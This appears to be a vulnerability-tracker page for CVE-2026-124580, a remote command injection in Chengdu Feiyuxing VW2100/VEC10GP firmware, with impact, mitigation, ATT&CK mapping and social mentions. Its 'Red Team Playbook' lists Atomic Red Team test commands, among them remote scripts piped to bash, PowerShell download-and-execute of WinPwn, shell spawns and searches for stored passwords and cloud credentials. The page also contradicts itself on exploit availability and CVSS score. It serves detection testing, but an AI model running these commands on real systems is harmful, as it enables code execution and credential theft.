CVE-2026-124580
Overview
This vulnerability is a remote OS command injection caused by improper sanitization of the 'extend' argument within the handle_wechat_cn_wifi function. The flaw exists in the Weixin Auth Endpoint component, specifically in the var/html/webserver file of the Chengdu Feiyuxing Technology VW2100 product and VEC10GP 1.0 B-MB3W202-210825-r11775 firmware. The root cause is the direct use of user-controlled input in system command execution without validation or escaping.
Vulnerability Description
A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. This impacts the function handle_wechat_cn_wifi of the file var/html/webserver of the component Weixin Auth Endpoint. The manipulation of the argument extend results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
Impact
An unauthenticated attacker can execute arbitrary operating system commands remotely on the affected device by exploiting this vulnerability. This enables full system compromise, including unauthorized access to sensitive data, disruption of device functionality, and potential lateral movement within the network. No user interaction or credentials are required to exploit this flaw, making it highly exploitable in real-world scenarios.
Solution
Currently, no vendor response or official patch has been released for Chengdu Feiyuxing Technology VW2100 or VEC10GP 1.0 B-MB3W202-210825-r11775. Users are advised to monitor the vendor's official channels for updates. As an interim measure, restricting network access to the affected webserver interface and employing network-level filtering to block exploit attempts may reduce exposure. Refer to https://vuldb.com/vuln/432937 for ongoing updates and community advisories.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (9)
9 mentions from 0 sources in the last 7 days BuzzFactor 13 / 100
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social bsky.app @threatroundup.bsky.social 2026-11-09 12:40 UTCPatch watch: CVE-2026-124580 (Chengdu Feiyuxing Technology VW2100, CVSS 9.3). A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. No public exploit reported yet. #CVE #infosec threatrou…Open source
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social bsky.app @stemshop.bsky.social 2026-11-09 10:07 UTC🚨 CVE-2026-124580 — CVSS 9.3 CRITICAL A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. T... 🔎 https://stemshop.top/cve/CVE-2026-124580 #CVE #CyberSecurity #InfoSecOpen source
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social bsky.app @cve.skyfleet.blue 2026-11-09 09:19 UTCCVE-2026-124580 - Chengdu Feiyuxing Technology VW2100/VEC10GP Weixin Auth Endpoint webserver handle_wechat_cn_wifi os command injection CVE ID : CVE-2026-124580 Published : Nov. 9, 2026, 8:17 a.m. | 57 minutes ago Description : A vulnerabi…Open source
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social bsky.app @offseq.bsky.social 2026-11-09 09:00 UTCCVE-2026-124580: CRITICAL command injection in Chengdu Feiyuxing VW2100 allows remote, unauthenticated RCE. Public exploit, no patch. Isolate or filter affected devices ASAP. https://radar.offseq.com/threat/cve-2026-124580-os-command-injec…Open source
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social infosec.exchange @offseq 2026-11-09 09:00 UTCCRITICAL OS command injection (CVE-2026-124580) in Chengdu Feiyuxing VW2100 & VEC10GP: remote, unauthenticated attackers can run OS commands. Exploit is public, no fix available. Isolate or filter at network level. https:// radar.offseq.co…Open source
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social bsky.app @stackflag.bsky.social 2026-11-09 08:50 UTCCVE-2026-124580 - vw2100 The web server used by the Weixin authentication feature on VW2100 and VEC10GP devices can be tricked into running operating‑system commands when an attacker changes the… Too many irrelevant or confusing CVEs? Use…Open source
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social bsky.app @thehackerwire.bsky.social 2026-11-09 08:31 UTC🔴 CVE-2026-124580 - Critical (10) A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825... https://www.thehackerwire.com/vulnerability/CVE-2026-124580/ #infosec #cybersecurity #CVE #vulnerability…Open source
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social bsky.app @aiuto-ch.bsky.social 2026-11-09 08:31 UTCCVE Radar | CVE-2026-124580 | CVSS 10.0 Feiyuxing Weixin Auth Command Injection CVE-2026-124580 affects Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. Full analysis: https://t.me/aiutocomputerhelp_lab/1397Open source
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social mastodon.social @115755483699003887 2026-11-09 08:31 UTC🔴 CVE-2026-124580 - Critical (10) A vulnerability was found in Chengdu Feiyuxing Technology VW2100 and VEC10GP 1.0 B-MB3W202-210825-r11775. This impacts the function handle_wechat_cn_wifi of the file var/html/webserver of the component Wei…Open source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-124580 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/vuln/432937 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/vuln/432937/cti |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/cve/CVE-2026-124580 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/submit/1038438 |
| github.com |
GitHub CVE
related
|
https://github.com/Walnut1337/Feiyuxing_VROS_command_injection/blob/main/README.md |
| github.com |
GitHub CVE
exploit
|
https://github.com/Walnut1337/Feiyuxing_VROS_command_injection/blob/main/poc_weixin_auth.py |